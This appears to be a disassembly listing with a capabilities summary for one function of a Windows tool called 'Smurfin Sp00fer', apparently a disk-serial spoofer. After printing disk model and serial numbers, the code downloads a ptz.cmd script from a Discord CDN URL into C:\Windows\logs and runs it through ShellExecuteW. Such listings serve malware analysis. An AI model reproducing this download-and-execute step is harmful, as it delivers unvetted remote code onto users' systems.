Function at 0x1400112d5
Capabilities:
Create process on windows
Download url
Execute command
Receive data

Disassembly:
jmp 0x1400122b0
push rbp
push rdi
sub rsp, 0xf8
lea rbp, [rsp + 0x30]
lea rcx, [0x1400240f7]
call fcn.1400113f2
lea rdx, str.__________Smurfin_Sp00fer___n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.__________________________________________n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.____________Press_any_key_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.__________________________________________n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.___________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.___________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rcx, str.pause
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str._________________________________SERIAL_ATUAL___________________________________n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.___________________________________________________________n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.______Disk_Name_Model_______n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rcx, str.wmic_diskdrive_get_model
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.______Disk_Serial_Number_______n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rcx, str.wmic_diskdrive_get_serialnumber
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.__________________________________________n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.____Press_Any_Key_To_Sp00f_Serials___n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rdx, str.__________________________________________n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011087
lea rcx, str.pause
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, str.mkdir_C:Windowslogs
call qword [sym.imp.ucrtbased.dll_system]
call fcn.1400110af
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Windowslogsptz.cmd
lea rdx, str.https:__cdn.discordapp.com_attachments_1174817815321137184_1174885823250956350_ptz.cmd
xor ecx, ecx
call fcn.1400113b1
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Windowslogsptz.cmd
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret